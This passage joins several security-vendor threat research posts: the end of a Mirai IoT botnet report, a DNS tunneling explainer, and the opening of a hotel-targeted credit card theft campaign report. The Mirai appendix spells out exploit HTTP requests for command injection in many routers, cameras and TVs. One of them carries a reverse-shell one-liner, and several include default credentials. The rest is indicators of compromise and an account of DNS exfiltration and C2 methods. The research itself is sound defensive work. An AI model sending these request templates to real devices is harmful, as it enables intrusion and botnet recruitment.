Pivoting on the payload source revealed some samples fetching the same payload that were hosted at 185[.]248.140.102/bins/. The same IP was hosting some Gafgyt samples using the name format “eeppinen.[arch]” a few days prior to the upgrade to this new multi-exploit variant.

Conclusion

IoT/Linux botnets continue to expand their attack surface, either by the incorporation of multiple exploits targeting a plethora of devices, or by adding to the list of default credentials they brute force, or both. In addition, targeting enterprise vulnerabilities allows them access to links with potentially larger bandwidth than consumer device links, affording them greater firepower for DDoS attacks.

Palo Alto Networks customers are protected by:

WildFire detects all related samples with malicious verdicts.
All exploits and IPs/URLs involved in these campaigns are blocked through Threat Prevention and PANDB.

AutoFocus customers can track these activities using individual exploit tags:

The malware family can be tracked in AutoFocus using the tag ELFMirai

Appendix

Vulnerability	Affected Devices	Exploit Request Format
CVE-2018-17173	LG Supersign TVs	GET /qsrserver/device/getThumbnail?sourceUri=''+-;rm+/tmp/f;mkfifo+/tmp/f;cat+/tmp/f+\|+/bin/sh+-i+2>&1+\|+;%s+supersign_p%d; >/tmp/f ;&targetUri=/tmp/thumb/test.jpg&mediaType=image&targetWidth=400&targetHeight=400&scaleType=crop&=1537275717150 HTTP/1.1 User-Agent: Hello, world Host: [IP]:[Port] Connection: keep-alive
WePresent WiPG-1000 Command Injection	WePresent WiPG-1000 Wireless Presentation systems	POST /cgi-bin/rdfs.cgi HTTP/1.1 Host: [IP]:[Port] Content-Type: application/x-www-form- Content-Length: 1024 Client=;%s+wepresent_p%d;&Download=submit
DLink DCS-930L Remote Command Execution	DLink DCS-930L Network Video Cameras	POST /setSystemCommand HTTP/1.1 Host: [IP]:[Port] Authorization: Basic YWRtaW46 Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 1024 Connection: keep-alive ReplySuccessPage=docmd.htm&ReplyErrorPage=docmd.htm&SystemCommand=%s+dcs930l_p%d;&ConfigSystemCommand=Save
DLink diagnostic.php Command Execution	DLink DIR-645, DIR-815 Routers	POST /diagnostic.php HTTP/1. Host: [IP]:[Port] Content-Type: application/x-www-form-urlencoded; charset=UTF-8 Content-Length: 512 act=ping&dst=&+;%s+dlinkdir_p%d;&
Zyxel P660HN Remote Command Execution	Zyxel P660HN-T routers	POST /cgi-bin/pages/maintenance/logSetting/logSet.asp HTTP/1.1 Host: [IP]:[Port] Connection: keep-alive logSetting_H=1&active=1&logMode=LocalAndRemote&serverPort=123&serverIP=1.1.1.1`;%s+P660HN-T_p%d;`&# POST /cgi-bin/ViewLog.asp HTTP/1.1 Host: [IP]:[Port] Connection: keep-alive remote_submit_Flag=1&remote_syslog_Flag=1&RemoteSyslogSupported=1&LogFlag=0&remote_host=;%s+P660HN-T_p%d;#&remoteSubmit=Save
CVE-2016-1555	Netgear WG102, WG103, WN604, WNDAP350, WNDAP360, WNAP320, WNAP210, WNDAP660, WNDAP620 devices	GET /boardData102.php?writeData=true&reginfo=0&macAddress=+001122334455+-c+0+;%s+netgear102_p%d;+echo+# HTTP/1.1 Host: [IP]:[Port] Connection: keep-alive GET /boardData103.php?writeData=true&reginfo=0&macAddress=+001122334455+-c+0+;%s+netgear103_p%d;+echo+# HTTP/1.1 Host: [IP]:[Port] Connection: keep-alive GET /boardDataNA.php?writeData=true&reginfo=0&macAddress=+001122334455+-c+0+;%s+netgearNA_p%d;+echo+# HTTP/1.1 Host: [IP]:[Port] Connection: keep-alive GET /boardDataWW.php?writeData=true&reginfo=0&macAddress=+001122334455+-c+0+;%s+netgearWW_p%d;+echo+# HTTP/1.1 Host: [IP]:[Port] Connection: keep-alive GET /boardDataJP.php?writeData=true&reginfo=0&macAddress=+001122334455+-c+0+;%s+netgearJP_p%d;+echo+# HTTP/1.1 Host: [IP]:[Port] Connection: keep-alive
CVE-2017-6077, CVE-2017-6334	Netgear DGN2200 N300 Wireless ADSL2+ Modem Routers	POST /ping.cgi HTTP/1.1 Host: [IP]:[Port] Authorization: Basic YWRtaW46cGFzc3dvcmQ Referer: http://%s/DIAG_diag.htm IPAddr1=12&IPAddr2=12&IPAddr3=12&IPAddr4=12&ping=Ping&ping_IPAddr=12.12.12.12;%s+dgn2200v1_p%d; POST /dnslookup.cgi HTTP/1.1 Host: [IP]:[Port] Authorization: Basic YWRtaW46cGFzc3dvcmQ Referer: http://%s/DIAG_diag.htm host_name=www.google.com;+%s+dgn2200v2_p%d&lookup=Lookup
Netgear Prosafe Remote Command Execution	Netgear Prosafe WC9500, WC7600, WC7520 Wireless Controllers	POST /login_handler.php HTTP/1.1 Host: [IP]:[Port] Content-Type: application/x-www-form-urlencoded Content-Length: 512 reqMethod=json_cli_reqMethod&json_cli_jsonData=;%s+prosafe_p%d;+echo+ffffffffffffffff

Table 1 New exploits used in the Mirai variant

Some other exploits included in this variant have been observed only recently in the wild but were incorporated in variants prior to this one. These exploits are listed in Table 2 below:

Vulnerability	Affected Devices	First seen (in the wild)	Exploit Format
Netgear ReadyNAS Remote Command Execution/CVE-2018-15716	Netgear ReadyNAS Surveillance 1.4.3-16 and NUUO NVRMini devices	Oct, 2017	GET /upgrade_handle.php?cmd=writeuploaddir&uploaddir=%27;%s+readynas%d;%27 HTTP/1.1 Host: [IP]:[Port] Connection: keep-alive
Linksys WAP54Gv3 Remote Debug Root Shell	Linksys WAP54G Wireless Access Points	Dec, 2018	POST /debug.cgi HTTP/1.1 Host: [IP]:[Port] Content-Length: 1024 Connection: keep-alive Authorization: Basic R2VtdGVrOmdlbXRla3N3ZA data1=;%s+wap54gv3%d;&command=ui_debug
CVE-2013-3568	Linksys WRT100, WRT110 consumer routers	Dec, 2018	POST /ping.cgi HTTP/1.1 Host: [IP]:[Port] Content-Length: 1024 Connection: keep-alive Authorization: Basic YWRtaW46YWRtaW4 pingstr=&+;%s+wrt100_p%d;
ZTE Remote Command Execution	ZTE ZXV10 H108L Routers with <= V1.0.01_WIND_A01	Oct, 2018	GET /getpage.gch?pid=1002&nextpage=manager_dev_ping_t.gch&Host=;+$(;%s+h108l_p%d;)&NumofRepeat=1&DataBlockSize=64&DiagnosticsState=Requested&IF_ACTION=new&IF_IDLE=submit HTTP/1.1 Host: [IP]:[Port] Connection: keep-alive Accept-Encoding: gzip, deflate Accept: /
Linksys apply.cgi Remote Command Execution	Linksys E1500/E2500 routers	-	POST /apply.cgi HTTP/1.1 Host: [IP]:[Port] Content-Length: 1024 Connection: keep-alive Authorization: Basic YWRtaW46YWRtaW4 submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=127.0.0.1&ping_size=&;%s+e1500_p%d;&ping_times=5&traceroute_ip=127.0.0.1 POST /apply.cgi HTTP/1.1 Host: [IP]:[Port] Content-Length: 1024 Connection: keep-alive Authorization: Basic YWRtaW46YWRtaW4 submit_button=Diagnostics&change_action=gozila_cgi&submit_type=start_ping&action=&commit=0&ping_ip=127.0.0.1&ping_size=&;%s+e2500_p%d;&ping_times=5&traceroute_ip=127.0.0.1

Table 2 Other exploits in the Mirai variant

The remaining exploits are ones already observed and written about in the context of previous campaigns are listed below.

Indicators of Compromise

Payload source

hxxp://www.autourbe[.]com.co/autourbe/language/en-GB/windata/wgetbin[.]sh

C2

epicrustserver[.]cf:3933

URLs previously hosting Mirai variant

hxxp://www.autourbe[.]com.co/autourbe/language/en-GB/windata/clean.mips

hxxp://www.autourbe[.]com.co/autourbe/language/en-GB/windata/clean.mpsl

hxxp://www.autourbe[.]com.co/autourbe/language/en-GB/windata/clean.arm

hxxp://www.autourbe[.]com.co/autourbe/language/en-GB/windata/clean.arm5n

hxxp://www.autourbe[.]com.co/autourbe/language/en-GB/windata/clean.arm7

hxxp://www.autourbe[.]com.co/autourbe/language/en-GB/windata/clean.sh4

hxxp://www.autourbe[.]com.co/autourbe/language/en-GB/windata/clean.spc

hxxp://www.autourbe[.]com.co/autourbe/language/en-GB/windata/clean.x86

hxxp://www.autourbe[.]com.co/autourbe/language/en-GB/windata/clean.ppc

hxxp://www.autourbe[.]com.co/autourbe/language/en-GB/windata/clean.i686

hxxp://www.autourbe[.]com.co/autourbe/language/en-GB/windata/clean.m68k

hxxp://www.autourbe[.]com.co/autourbe/language/en-GB/windata/clean.x86_64

hxxp://185.248[.]140.102/bins/clean.mips

hxxp://185.248[.]140.102/bins/clean.mpsl

hxxp://185.248[.]140.102/bins/clean.arm

hxxp://185.248[.]140.102/bins/clean.arm5n

hxxp://185.248[.]140.102/bins/clean.arm7

hxxp://185.248[.]140.102/bins/clean.sh4

hxxp://185.248[.]140.102/bins/clean.spc

hxxp://185.248[.]140.102/bins/clean.x86

hxxp://185.248[.]140.102/bins/clean.ppc

hxxp://185.248[.]140.102/bins/clean.i686

hxxp://185.248[.]140.102/bins/clean.m68k

hxxp://185.248[.]140.102/bins/clean.x86_64

Samples of new Mirai variant

00033b5b33b59ad88aa4f196c08eb7a6d2e6ab181ec729e8ed577d55f8b1f3ee

02975fa7929a2f98963d6431f24cf4de702eb42530ac505c47d7567cf002c3d5

05dc7657dc240fe7f42c3ffe95526d161151dd62f8f63188fe666ed86b0347c3

075729594c4883fda420c0749be695d6d771eb61b569ac9b0124738db0f864ef

07f22804757914c7a16e90bdd7ee26596f04995e5f8b90ca8d746c46039bb1c8

09d75b526c79ac98b4c07ca1f28319ac1b6cafcadd0c41b71e82252211390b3d

0b1a51ac04a949197c4c47d589872663be05747e18e20e7f20a24b011f4db0dd

0c42ba60d95eda9cf90f7f1dbe5bcb316d871972eff9722748e9c2a343572484

233094f242ce7626a5a5c1fe46ee205da279e03019b8a391bcc3fa41ce77b647

234a05ac1970af58b6f76dca22aa25bece2ef1d65f4146748f6b859a19f91d31

2764a0a0ab9faf04478fef4fd8ec948da431885cafa6ddf0c23ef8cda379c7d9

28de1263449d88e986e37e7ce74ebc0b6cfceaeb3d5beb5dff296354f33dbf8c

324eb05d47b3114c48f6505db5e4cd7c81110c42488e07c547afd7869690231f

33a8b157e2fdd1acddc5085843a5ac96ee6f9df29c8f48a483bd4eebd16f73cc

36d72d137abc2a43a5f6c00c9a8e41f1faf5e89643e5add1529f7343a731856f

3eccc01f6677567b0aeea89b6e50c7184698732287c29f95000acc102c02dd47

3f299938339bc426c5d78b55a1398da31f948f7c30d6115ab30a656cdd78de35

403e702fa7e8b0a4ebde7db2e505645507b12ef0306619fb2523dea5cdf2f40d

4111155bfc2f0b005d763ff4cd05e60187bdc29d3b17d0971f736da779595a9a

4495af4264d11e339c4ba9776fd79c7b5554b70bbb6cc875ed7a03b7eef15f8a

44ae362714ba76c65150a363b0b340a5bd422649e48df37661ba1db8e0ec0f9e

46a58cfa883c71b9066b2ffe7ce475676570e9940327782927b559ea9a47df88

4a7bd1ab7a9505dec2d83f44b2d99f3068823db9d9d888333ccfdd239cc72192

4ebbcfeaad77207f82d072651cae53741e6af464c61735e33e385fba8edf3f61

4f3e5d72f53d59f932b606f440428608b5bbd4afa8ed33148e322e0096465130

5ebfd332bc5b9697d7b07e37600d495489da1b892288f051c56c8aba9574bed7

613e74f2d3549fe9b76eaa404b20fe87ea89672c4bf2f0d1cf88be4d657ea323

684a4c2e426a146c2217d3e62b7f7c69ea12628d182b2441c840bddacc1597f2

77b059f2f5b62d059fd9e3dfaf41cbeb7543ef288410f3c85a090bf03be99b24

884929e31c2cb8dc7e51949d94fe5073216be967f83f8013e0980d8959141234

892efa131b0cd6ca87fa0c2e3006c8352947cfc40ac0adf51a55b711a806aa80

8c9a3f8c94210813287b2789f63410d4744f3422a8012d6b1bc60a307884732c

8d1700c0144d6e56d8ba4e4061694c1194a7d0bc63740a1bdebf2697e46b3978

8d28628e8a31b39e178ba8c7dd781ea19db5ec3fe20f84ba20228c47a49aa543

8eb7eafb26235796534ba9deeada27b4e25e7c45d9b87715ee6d4182b3ca6068

8f2e458607f85f4c22ca7135df5fa2649c9979f2bb69036b3c63de52ec2f14f0

938e836c5035d52f954ff91fd5008a9444a3efa3e07592ceefc9efebd260b085

95ee8502a7cbac8cb21471fc40d86ddefa87ef9790f0c06d47fe47c3a2278396

9d37c617dacfef668548beee55a6b1d3899ffce3e7999d43159e228dcae1db01

a4923ae6bf36a5c5507ed4e7f0c7b92524df04e132c1823e611ed584e5495186

a61717a8c64301f20ac01f6fd7462d3303a72c9ed131fdd24cd6b12eb788377b

a6d3081703359ee1879b2ce9c85d0c3f4ed4b319db6ecebd18054982bcf1603c

ae7d250606c543b241b1809158a2668408c9ecaaf3ce4d51e08700f78534ce31

b1cac267d0e3456f9da90955027e55ad1b78a7bf60f11914e959814c90ea7cc6

b29334ca77f72587430fde00791daa1262972d315238d624e94238dda32e9240

b34b43d240c89d1e9bbd9d99c6050afc7efa62323d7788a46801576c5b1de0ab

b57b14f16c41a06b1f434f60cdc9bc380a4ff1ad5b7d8edc87c097cee6f3d233

b8d284ba89b562923d1eed2e67517dc8772977decc49d5f82d75237d4a8937e6

ba0d0e16b54aa6aaca3ab1ca2afa78148e823ae228d5f790e0279bb87dba5495

bb5f7f92f4aa7cfdc0691037dc50549ccc705685bdd6f375c884bc68518b7e59

bb9d7a86f107586dc8d99244a662c83c6f7667696b411292162dcb47d95d4c9b

bc3eb0f7c8d4ecdacddac5d9ccc6ac44b6f6081f051d8890c5986faa37f56623

bd5afefa044494010150501822f5f32be4300f482f8c8904d9fd1a30f5722fdd

bdac2ed66c0f5633f5f12910bc9c03173be1fc51a76e495a36d700ba4ddc9da4

c1ad4b2c0e71d2a92e4d9a4d2de01f750b8758fa3fe8a85631aaf870615b6769

c30654f9bfd036f75a9c4a0f991f141243c821dbfc2b4d2ae308e68c4d232a57

c86328964dfc86ca70c722e300f533bafaf234b2007867c6bf6a4e4be47cf8ca

d049406662f083507dcd7278fa25bec0e93be06511ce290ed9ff309b514857a0

d996a37b3bb09386b2e1e6a915b83c448065f0139d3c8057bf67e85d01ada9d1

dc866393e6a549afd56d7a7a7411a4eff7f0cb37fe1964c4f87e4228d46c8eb2

ddaa6c58ac7ed29166af6a337500ea5ca6ca54191a4176178e1cb1a351064c4e

e3c250062292daaff815345e87fb9f28e7ac683338c58de7a3a9cc743f6200e6

e5432946188a1c644e23159ae588797bd967ddc1f983956878e0ad0590efc73a

e60451a0b5dd0b875263c8e7c74773971b0faba783957c2a305ddf5356c9d567

e6156246bb85ca4a64377d3b68b6f34805b8a6a84890a9eada984fc29bfa36e1

ec4eef0d92105d9b82888bce94f0a2e00988f3be1a6005c889b91afd7fd05835

f01f85f9068f3c01193a0fb4b20a37573748914292a606da5cb2b5749b720366

f32176c3799fd3bc3a2a24c162861d12f987db548e9ef94c3bc8c6156bcd4fe3

f370a635db07bbd788991e898d8aa9be78ba0457cec3bd3e869ddc11e5693b5e

f9bd8d0ae187a27d8d1ad54e8c8b551488f66141e4590ac7583cf470a2ab260d

fab198f5f460b0591899bd218df79d2b50ec71ec2dd0494f1fa2bd07ba887aed

fe92e66c0c5a4402972a3bf7473b98a13c067beddcba500443d194f022ca4194

URLs previously hosting Gafgyt

hxxp://185.248[.]140.102/eeppinen.arm

hxxp://185.248[.]140.102/eeppinen.arm7

hxxp://185.248[.]140.102/eeppinen.armv4l

hxxp://185.248[.]140.102/eeppinen.i586

hxxp://185.248[.]140.102/eeppinen.i686

hxxp://185.248[.]140.102/eeppinen.mips

hxxp://185.248[.]140.102/eeppinen.mipsel

hxxp://185.248[.]140.102/eeppinen.m68k

hxxp://185.248[.]140.102/eeppinen.x86

hxxp://185.248[.]140.102/eeppinen.ppc

hxxp://185.248[.]140.102/eeppinen.sh4

hxxp://185.248[.]140.102/eeppinen.sparc

Gafgyt sample hashes

070405b85448d15afe619584c3f3cc851ed43098f57ef88981edd22b663030e7

19e2e20d994ba7c8af6537f640ef14459b66f333a7e5b28ef733ac81b43a628b

36562e6f3917ea80fcd241bca96fe96eb4f7328b14afd2c4b528bef9ce4b21da

573d539b78cdbb6d199d48ea986a5ba18c293253e48e2072e9871eb5460b2ae7

5aede6d1b0376f2e8c3c292f39357137a32c8ff1a3c60c594775081707647f59

6efb0d2304ce4c63205c6b502ba65a7f1b7eb87b055c0c5dcbb0120f49383588

85ac0d7ce9c899ec12c8efff89f5fcb1ed8b87623bf6a1457d53f3d1dce5c71d

c62c5d6255b6c1b5e8fa1861122adc180b36fbf4878f175e29367c7f6b08d7c9

db5fae3cd9ac7338e3d9fe302ffe5e261a9cafca75458523343f3562a0362ae8

dd1ab1f58494611af68d7d4dbe548234f0429b0f0c3d42135dce8f4339a16a7b

e0d4f82f5d1a20ca447c26b454be18aa7478a853d3526317972cb6ca9d847f29

e14ff28d2188ff0f665468bd0e17db21f3f11292b85c2a370596481cdf7c835f

DNS Tunneling: how DNS can be (ab)used by malicious actors

Posted on March 15, 2019June 7, 2024 by Alex Hinchliffe

Malicious actors have utilized Command & Control (C2) communication channels over the Domain Name Service (DNS) and, in some cases, have even used the protocol to exfiltrate data. This is beyond what a C2 “heartbeat” connection would communicate. Malicious actors have also infiltrated malicious data/payloads to the victim system over DNS and, for some years now, Unit 42 research has described different types of abuse discovered.

DNS is a critical and foundational protocol of the internet – often described as the “phonebook of the internet” – mapping domain names to IP addresses, and much more, as described in the core RFCs for the protocol. DNS’ ubiquity (and frequent lack of scrutiny) can enable very elegant and subtle methods for communicating, and sharing data, beyond the protocol’s original intentions.

On top of the examples of DNS use mentioned already, a number of tools exist that can enable, amongst other things, their attackers to create covert channels over DNS for the purposes of hiding communication or bypassing policies put in place by network administrators. A popular use case is to bypass hotel, café etc Wi-Fi connection registration by using the often-open and available DNS. Most notably these tools are freely available online in places like GitHub and can be easy to use. More information about these tools can be found in the Appendix section at the end of this report.

In this report we introduce the types, methods, and usage of DNS-based data infiltration and exfiltration and provide some pointers towards defense mechanisms.

DNS

DNS uses Port 53 which is nearly always open on systems, firewalls, and clients to transmit DNS queries. Rather than the more familiar Transmission Control Protocol (TCP) these queries use User Datagram Protocol (UDP) because of its low-latency, bandwidth and resource usage compared TCP-equivalent queries. UDP has no error or flow-control capabilities, nor does it have any integrity checking to ensure the data arrived intact.

How is internet use (browsing, apps, chat etc) so reliable then? If the UDP DNS query fails (it’s a best-effort protocol after all) in the first instance, most systems will retry a number of times and only after multiple failures, potentially switch to TCP before trying again; TCP is also used if the DNS query exceeds the limitations of the UDP datagram size – typically 512 bytes for DNS but can depend on system settings.

Figure 1 below illustrates the basic process of how DNS operates: the client sends a query string (for example, mail.google[.]com in this case) with a certain type – typically A for a host address. I’ve skipped the part whereby intermediate DNS systems may have to establish where ‘.com’ exists, before finding out where ‘google[.]com’ can be found, and so on.

Figure 1. Simplified DNS operation

Once a name is resolved to an IP caching also helps: the resolved name-to-IP is typically cached on the local system (and possibly on intermediate DNS servers) for a period of time. Subsequent queries for the same name from the same client then don’t leave the local system until said cache expires. Of course, once the IP address of the remote service is known, applications can use that information to enable other TCP-based protocols, such as HTTP, to do their actual work, for example ensuring internet cat GIFs can be reliably shared with your colleagues.

So, all in all, a few dozen extra UDP DNS queries from an organization’s network would be fairly inconspicuous and could allow for a malicious payload to beacon out to an adversary; commands could also be received to the requesting application for processing with little difficulty.

If you want to go deep on how DNS works – all the way from you typing keys to spell the domain name you want to browse – then please read this article.

Data Trail

Just as when you browse the internet, whether pivoting from a search engine result or directly accessing a website URL, your DNS queries also leave a trace. How much of a trace depends on the systems and processes involved along the way, from the query leaving the operating system, to receiving the resultant IP address.

Focusing on the server-side only and, using some basic examples, it’s possible for DNS servers – especially those with extended or debug logging enabled – to gather a whole host (no pun intended) of information about the request, and client requesting it.

This article provides some idea of the type of information that could be gleaned from DNS server logs; an adversary operating such a server gets the remote IP sending the request – though this could be the last hop or DNS server’s IP, not the exact requesting client’s IP – as well as the query string itself, and whatever the response was from the server.

DNS Tunneling

Now that we have a common understand of DNS, how it operates in a network, and the server-side tracing capabilities, let’s dig a little deeper into the tunneling capabilities. In this section we will describe how command and control (C2) beacons can operate over DNS, and how data exfiltration and infiltration is possible.

C2

A C2 channel often serves two purposes for the adversary. Firstly, it can act as a beacon or heartbeat indicating that their remote payload is still operating – still has a heartbeat – as it’s beaconing-out (communicating) to their server.

You could consider the basic DNS operation, as shown in Figure 1 above, as an example of a heartbeat. If the malicious implant on the client system repeatedly sends a query to the actor’s server through the DNS infrastructure, the actor could tell from the logs that an implant is running. What becomes difficult is distinguishing between multiple victims that are infected with the implant.

Consider another example described by Figure 2 below, where the client system is compromised with malware that’s constructing strange-looking query strings to send over DNS. Queries like these still act as a heartbeat indicating to the adversary their payload is still active, however they also provide some basic meta-data about the victim and, importantly, ways to uniquely identify one victim from another.

Figure 2. Example C2 DNS query operation

Usernames and hostnames may not always be unique, and some IPs could be duplicated across multiple networks using Network Address Translation (NAT), however systems do have Universal Unique Identifiers (UUIDs) or other properties, that when combined could create a unique identifier for a given host or victim.

Some of the meta-data from the compromised host could be sent as plaintext but might appear more suspicious at first glance to anyone seeing such strings in a DNS query. In many cases the data will contain characters not supported by DNS, in which case encoding will be required. In Figure 2 you can see the base64 encoded equivalent for the meta-data, which is constructed using a ‘-‘ delimited notation for simple parsing and decoding on the server-side, as shown in Figure 3 below.

Figure 3. Server-side DNS logs tracking C2 communication

Figure 3 shows an example of what a raw DNS log from a DNS server application may look like, with line entries for the malware’s query and the DNS server’s response, NXDOMAIN (or non-existent domain), in this case.

In some ways, a log like this, or perhaps a small database containing the decoded records from them, could be compared to the more snazzy-looking botnet control panels that allow the botnet herder to control their zombie victim systems.

Exfiltration

So, what else could be sent up in DNS queries? Well, anything in theory, so long as it’s encoded correctly and doesn’t abuse the UDP size limits. A way for getting around the latter constraint could be to send multiple A record messages and have them stitched together somehow on the server-side. Complications would arise however in dropped or missing datagrams.

Unlike TCP that ensures retransmission of failed packets, UDP has no such mechanism. An algorithm would be required to understand how many messages will be sent, and check the correct number arrives, but more complicated than that, somehow ask the client to retransmit certain segments of the data again until 100% arrives. Depending on the amount of data to transmit – every PDF on the system, for example – may take an age, and look hugely suspicious to network administrators.

Infiltration

In contrast, infiltration of data whether it be code, commands, or a binary file to drop to disk and execute could be much easier, especially using the DNS type of TXT (as opposed to host record type A). TXT types were designed to provide descriptive text, such as service details, contact names, phone numbers, etc in response to TXT DNS queries for domain names.

Guess what looks likes text? Base64-encoded non-text data! Figure 4 below shows the identical query being sent to the malicious site as in Figure 2, however, the type is now TXT on both the request and response, and the response data contains the first 300 or so characters of an encoded binary executable file that could be executed by the client malware. Again, using the logs, the adversary would be able to know which client asked for the payload, and that the payload was sent (who knows if it actually arrived…).

Figure 4. Example C2 DNS query with TXT type response

But how does the malicious implant know to change the type to TXT or when to request whatever lies inside the “text” data? It could be built-in to the payload to query at a certain point in its execution or after a certain amount of time but in reality, it’s going to be actor-driven using the second purpose of a C2 channel – control.

In my earlier examples of C2 DNS communication the response from the DNS server was NXDOMAIN. This message obviously reaches the client system (and the malware) and could be used a message or instruction for the payload but it’s limiting without parameters and detail. Enter NOERROR.

NOERROR, as the term suggests means everything worked fine – your request was processed and an answer awaits you. With a NOERROR comes a response that can be processed. Usually this is the IPv4 (for A type requests) or IPv6 (for AAAA type requests) or it could be TXT, as shown in Figure 4 above. Focusing on a simple example – the IPv4 address response – the malware doesn’t need an actual IP to communicate with, unlike your browser that asked “where is google[.]com at?”. The malware is already in communication to its destination using the C2 over DNS.

What the malware can use the IP response for is any one of 4,294,967,296 possible commands or instructions. Again, keeping this very simple still, it’s possible that a particular value in the 4^th octet of the IP, say, 100, would indicate to the malware to send a TXT DNS query to the actor’s domain to collect and execute a payload. Value 10 in the first octet could mean to uninstall and wipe traces of the malicious payload from the operating system and event logs. Literally, the options are endless, as are the levels of possible sophistication.

Given the adversary has control over the DNS server, and that certain DNS server applications or daemons are highly configurable, it’s possible to send conditional responses back to the malware on the victim systems based on requests sent from them.

For example, if the incoming query contains a certain flag – a character – as the first subdomain to the domain name, it could be read by a program running inside the DNS service on the server and provide a custom response back to the client. This could be used for the malware to work through a set of tasks automatically, and report back accordingly to the actors to receive their next task.

Conclusion

DNS is a very powerful tool used almost everywhere allowing applications and systems to lookup resources and services with which to interact. DNS provides a communication foundation enabling higher-level and more powerful protocols to function but can mean it’s overlooked from a security point of view, especially when you consider how much malware is delivered via email protocols or downloaded from the web using HTTP.

For these reasons, DNS is the perfect choice for adversaries who seek an always-open, often overlooked and probably underestimated protocol to leverage for communications from and to compromised hosts. Unit 42 has seen multiple instances of malware, and the actors behind them, abusing DNS to succeed in their objectives, as discussed in this report.

Organizations can defend themselves against DNS tunneling in many different ways, whether using Palo Alto Networks’ Security Operating Platform, or Open Source technology. Defense can take many different forms such as, but not limited to, the following:

Blocking domain-names (or IPs or geolocation regions) based on known reputation or perceived danger;
Rules around “strange looking” DNS query strings;
Rules around the length, type, or size of both outbound or inbound DNS queries;
General hardening of the client operating systems and understanding the name resolution capabilities as well as their specific search order;
User and/or system behavior analytics that automatically spot anomalies, such as new domains being accessed especially when the method of access and frequency are abnormal.
Palo Alto Networks recently introduced a new DNS security service focused on blocking access to malicious domain names.

Further information can also be found in the ATT&CK framework documentation on Mitre’s website. Specifically, the following techniques relate to concepts discussed in this report.

ID	Technique
T1048	Exfiltration Over Alternative Protocol
T1320	Data Hiding
T1094	Custom Command and Control Protocol

Thanks to Yanhui Jia, Rongbo Shao, Yi Ren, Matt Tennis, Xin Ouyang, John Harrison and Jens Egger for their input on this report.

Appendix: Toolkit List

Tool Name	Description
dns2tcp	dns2tcp was written by Olivier Dembour and Nicolas Collignon. It is written in C and runs on Linux. The client can run on Windows. It supports KEY and TXT request types. [4]
tcp-over-dns	tcp-over-dns (TCP-over-DNS) was released in 2008. It has a Java based server and a Java based client. It runs on Windows, Linux and Solaris. It supports LZMA compression and both TCP and UDP traffic tunneling. [4]
OzymanDNS	OzymanDNS is written in Perl by Dan Kaminsky in 2004. It is used to setup an SSH tunnel over DNS or for file transfer. Requests are base32 encoded and responses are base64 encoded TXT records. [4]
iodine	iodine is a DNS tunneling program first released in 2006 with updates as recently as 2010. It was developed by Bjorn Andersson and Erik Ekman. Iodine is written in C and it runs on Linux, Mac OS X, Windows and others. Iodine has been ported to Android. It uses a TUN or TAP interface on the endpoint. [4]
SplitBrain	SplitBrain is a variant of OzymanDNS.
DNScat-P / dnscat2	DNScat (DNScat-P) was originally released in 2004 and the most recent version was released in 2005. It was written by Tadeusz Pietraszek. DNScat is presented as a “Swiss-Army knife” tool with many uses involving bi-directional communication through DNS. DNScat is Java based and runs on Unix like systems. DNScat supports A record and CNAME record requests (Pietraszek, 2004). Since there are two utilities named DNScat, this one will be referred to as DNScat-P in this paper to distinguish it from the other one. [4]
DNScapy	DNScapy was developed by Pierre Bienaime. It uses Scapy for packet generation. DNScapy supports SSH tunneling over DNS including a Socks proxy. It can be configured to use CNAME or TXT records or both randomly. [4]
TUNS	TUNS, an IP over DNS tunnel, was developed by Lucas Nussbaum and written in Ruby. It does not use any experimental or seldom used record types. It uses only CNAME records. It adjusts the MTU used to 140 characters to match the data in a DNS request. TUNS may be harder to detect, but it comes at a performance cost.
PSUDP	PSUDP was developed by Kenton Born. It injects data into existing DNS requests by modifying the IP/UDP lengths. It requires all hosts participating in the covert network to send their DNS requests to a Broker service which can hold messages for a specific host until a DNS request comes from that host. The message can then be sent in the response.
Your Freedom	HTTPS/UDP/FTP/DNS/ECHO VPN & tunneling solution for Windows, Mac OSX, Linux and Android. Bypass proxies and access the Internet anonymously
Hexify	A tool is developed by Infoblox to do the penetrating test for DNS tunneling.

Appendix: Malware List

Malware Name	Description
DNS_TXT_Pwnage	A backdoor capable of receiving commands and PowerShell scripts from DNS TXT queries.
DNSMessenger	DNSMessenger is Remote Access Trojan (RAT) that opens a backdoor so that hackers can control the compromised machine remotely
OilRig - BONDUPDATER	Trojan against a Middle Eastern government can use A records and TXT records within its DNS tunneling protocol for its C2 communications

Operation Comando: How to Run a Cheap and Effective Credit Card Business

Posted on March 12, 2019June 7, 2024 by Unit 42

In December 2018, Palo Alto Networks Unit 42 researchers identified an ongoing campaign with a strong focus on the hospitality sector, specifically on hotel reservations. Although our initial analysis didn’t show any novel or advanced techniques, we did observe strong persistence during the campaign that triggered our curiosity.

We followed network traces and pivoted on the information left behind by this actor, such as open directories, document metadata, and binary peculiarities, which enabled us to find a custom-made piece of malware, that we named “CapturaTela”. Our discovery of this malware family shows the reason for the persistent focus on hotel reservations as a primary vector: stealing credit card information from customers.

We profiled this threat actor and that has resulted in uncovering not only their delivery mechanisms, but also their arsenal of remote access tools and info-stealing trojans, both acquired from underground forums as well as open source tools found in GitHub repositories.

Have you ever wondered how an actor can run a very cheap and effective credit card data underground business? Welcome to “Operation Comando”.

The attacker’s delivery mechanisms

Our telemetry for this campaign identified email as the primary delivery mechanism and found the first related samples were distributed in August 2018. Topics used by the actor are typically related to travel bookings and vouchers, and target mainly Brazilian victims. Table 1 shows a representative list of typical subjects and attachment names found during the campaign.

Email Subject	Attachment names
Reserva para tres quartos	“Ficha cadastral Leticia Ferreira Mendes.ppam”, “Ficha cadastral Jacinto Mendes da Silva.ppam”, “Ficha cadastral Marcos Portela Correa.ppam”, “Ficha cadastral Francisco Prado.ppam”
Reserva Veirano Advogador	Roominglist Veirano Advogados .docx
Corrigir data da reserva para o dia 03	Booking - Dados da Reserva.docx
Voucher para reserva	Voucher para reserva 02.docx
Reserva	Voucher de Reserva ADRIANA MILLER RODRIGUES.ppa

Table 1 Some email subjects and attachment names representative of this campaign.

While investigating the malicious documents used in the campaign, we discovered an interesting consistency in the document metadata. The author consistently uses an acronym throughout their work - “C.D.T Original” (see details on Figure 1).

Figure 1 Example of malicious document metadata

The attackers make use of multiple common off-the-shelf methods that are observed in many campaigns, such as external references to remote scripts executed by MSHTA. Following this approach, this actor can find multiple tools and resources to perform their activities, and at the same time, make attribution and tracking more difficult for analysts. The most prevalent combinations of methods observed are depicted in Figure 2.

